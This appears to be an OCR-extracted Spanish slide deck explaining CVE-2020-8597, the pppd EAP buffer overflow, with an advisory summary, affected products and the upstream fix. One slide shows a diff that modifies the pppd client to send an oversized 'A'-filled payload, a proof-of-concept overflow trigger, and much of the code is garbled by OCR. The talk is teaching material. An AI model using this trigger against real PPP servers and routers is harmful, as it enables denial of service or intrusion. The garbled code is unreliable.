A\ ) =

i B
- s NIRRT . :
[ oo v el — — - .”' ’
—— o —



EL PROBLEMA

€ (3]

¢Cual es el problema?

= E| problema crucial es un fallo de

CVE-2020-8597

desbordamiento de bufer de pila, { Proint-to-Point Protocol (PPP) Daemon RCE
la explotacion de esta puede permitir ¢ Vulnerability

la por parte de un posible atacante
que no necesitaria estar autenticado
en el sistema objetivo, y por lo tanto
podria llegar a obtener un control
total sobre el mismo
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CARACTERIZACION

/?, inc ihE —:Ert_ Alerta = Incidentes = Servicios Publicaciones =  Sobre INCIBE-CERT ~ @

Inicio / Alerta Temprana / Vulnerabilidades / CVE-2

Vulnerabilidad en el archivo eap.c en las funciones eap_request y eap_response en pppd en ppp
(CVE-2020-8597)

Score 9.8, Critico

Descripcion

El archivo eap.c en pppd en ppp versiones 2.4.2 hast , presenta un desbordamiento del bufer de rhostname en las funciones eap_request y eap_response.
Impacto

Vector de acceso: A través de red

Complejidad de Acceso: Baja

Autenticacion: Mo requerida para ex

Tipo de impacto: Afecta parcialmente a la integridad del sistema + Afecta parcialmente a la confidencialidad del sistema + Afecta parcialmente a la disponibilidad del sistema
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Moderador
Notas de la presentación
El router B usaba pppd para establecer nuevas conexiones. El router no podrá provisionar nuevas conexiones y no funcionará más hasta que se reinicie pppd
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DESCRIPCION TECNICA (3)

@
#® Denial of Service, Remote Code Execution

- 0 'ml-

: EX|s’re otro fa-llq_qu_e_hace que la funcién egg_mpu’r No verlflca si. EAP hq 5|do negocnado durante

Io fase del Llne Con'rrol Protocol (LCP). Pern‘iltwrrdo que un o’rqccm’re no au’ren’rlcado -envie un

e

o

%oque’re EAP L= . — -

S’ Incluso si ppp rechazé previamente la negociacion desautenticacionlll

®* A menudo se ejecuta con altos privilegios (system o root) y funciona junto con|los controladores

del kernel

®* " Un atacante puede ejecutar cdédigo de forma remota con privilegios

& )

* Aplicaciones y dispositivos afectados: Cisco CallManager, TP-LINK products, OpenWRT, Synology
(DiskStation Manager, VisualStation, Router Manager), NetBSD;.ete:
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diff --git a/pppd/eap.c b/pppd/eap.c
index 882e0953..8754597 16868644
--- a/pppd/feap.c
b/pppd/eap.c
o@ -75,8 +75,7 @@
#ifndef SHA DIGESTSIZE
X #define SHA DIGESTSIZE 20

, #endif

+H#define PAYLOAD SIZE 1824 I

eap _state eap states[NUM PPP]; /® EAP state; one for each unit */
i #ifdef USE_SRP

static char *pn_secret = NULL; /* Pseudonym generating secret */
0@ -1392,8 +1391,8 @@ int len;

T — #endif /* USE_SRP */ -
f—— = eap_s.end_r‘espol:lse(esp, id, typenum, esp—)es_cllent.ea_nane,.*
— esp-res client.ea namelen);

—r T~
break;
N PPPD CLIENTE =
=y break;
| case EAPT_NOTIFICATION:
if (len » 8)
info("EAP: Notification \"%.*g\"", len, inp});

@@ -1457,8 +1456,12 @@ int len;
BZERO(secret, sizeof (secret));
MD5 Update(&mdContext, inp, vallen);
MD5_Final(hash, &mdContext);
- eap_chap_response(esp, id, hash, esp-»es_client.ea name,

i —tsnoes client ea nanelen).

+ char payload[PAYLOAD SIZE];
+ memset(payload, 'A", PAYLOAD SIZE - 1);
cmaf =gl Sy o + payload[PAYLOAD SIZE] = °
[- — + eap_chap_response(esp, id, hash, payload, PAYLOAD SI7E);
+ eap _chap_response(esp, 1d, hash, esp->&s_cllent.ea_name, o
F + /f esp-res client.ea namelen);
- 4 break;

#ifdef USE_SRP
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pppd: Fix bounds check in EAP code
Given that we have just checked vallen < len, it can never be the case
that vallen »>= len + sizeof(rhestname). This fixes the check so we

actually avoid overflowing the rhostname array.

Reported-by: Ilja Van Sprundel <ivansprundel@ioactive.com>
Signed-off-by: Paul Mackerras <paulus@ozlabs.org:>

I—’ master
O ppp-24.9 249

. paulusmack committed on Feb 3, 2020

Showing 1 changed file with 2 additions and 2 deletions.

*

v -} a4 mmmEm pppd/eap.c (5

@8 -1420,7 +1420,7 @@ int len;

1420 1420 T
1421 1421
1422 1422 /* Not so likely to happen. */
1423 = if (vallen >= len + sizeof (rhostname)) {
1423 + if (len - vallen >= sizeof (rhostname)) {
1424 1424 dbglog("EAP: trimming really long peer name down");
1435 1435 BCOPY(inp + vallen, rhostname, sizeof {rhostname) - 1);
1426 1426 rhostname[sizeof (rhostname) - 1] = "\@";
- @ -1846,7 +1846,7 @@ int len;
1846 1848 T
1847 1847
1848 1848 /* Not so likely to happen. */
1849 B if (vallen )«=_ sizeof {rhostname))} {
1849 + if (len - vallen >= sizeof (rhostname)) {
o 1858 18508 dbglog("EAP: trimming really long peer name down");
1851 1851 BCOPY(inp + vallen, rhostname, sizeof (rhostname) - 1);
1852 1852 rhostname[sizeof (rhostname) - 1] = "\@";

2 g N
pppd: Fix bounds check in EAP code - ppp-project/ppp@8d7970b (github.com)



https://github.com/ppp-project/ppp/commit/8d7970b8f3db727fe798b65f3377fe6787575426
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Moderador
Notas de la presentación
(Debido a que afecta al pppd es de mayor importancia para ISP's y fabricantes de routers).


iIMUCHAS GRACIAS!

¢ PREGUNTAS ¢
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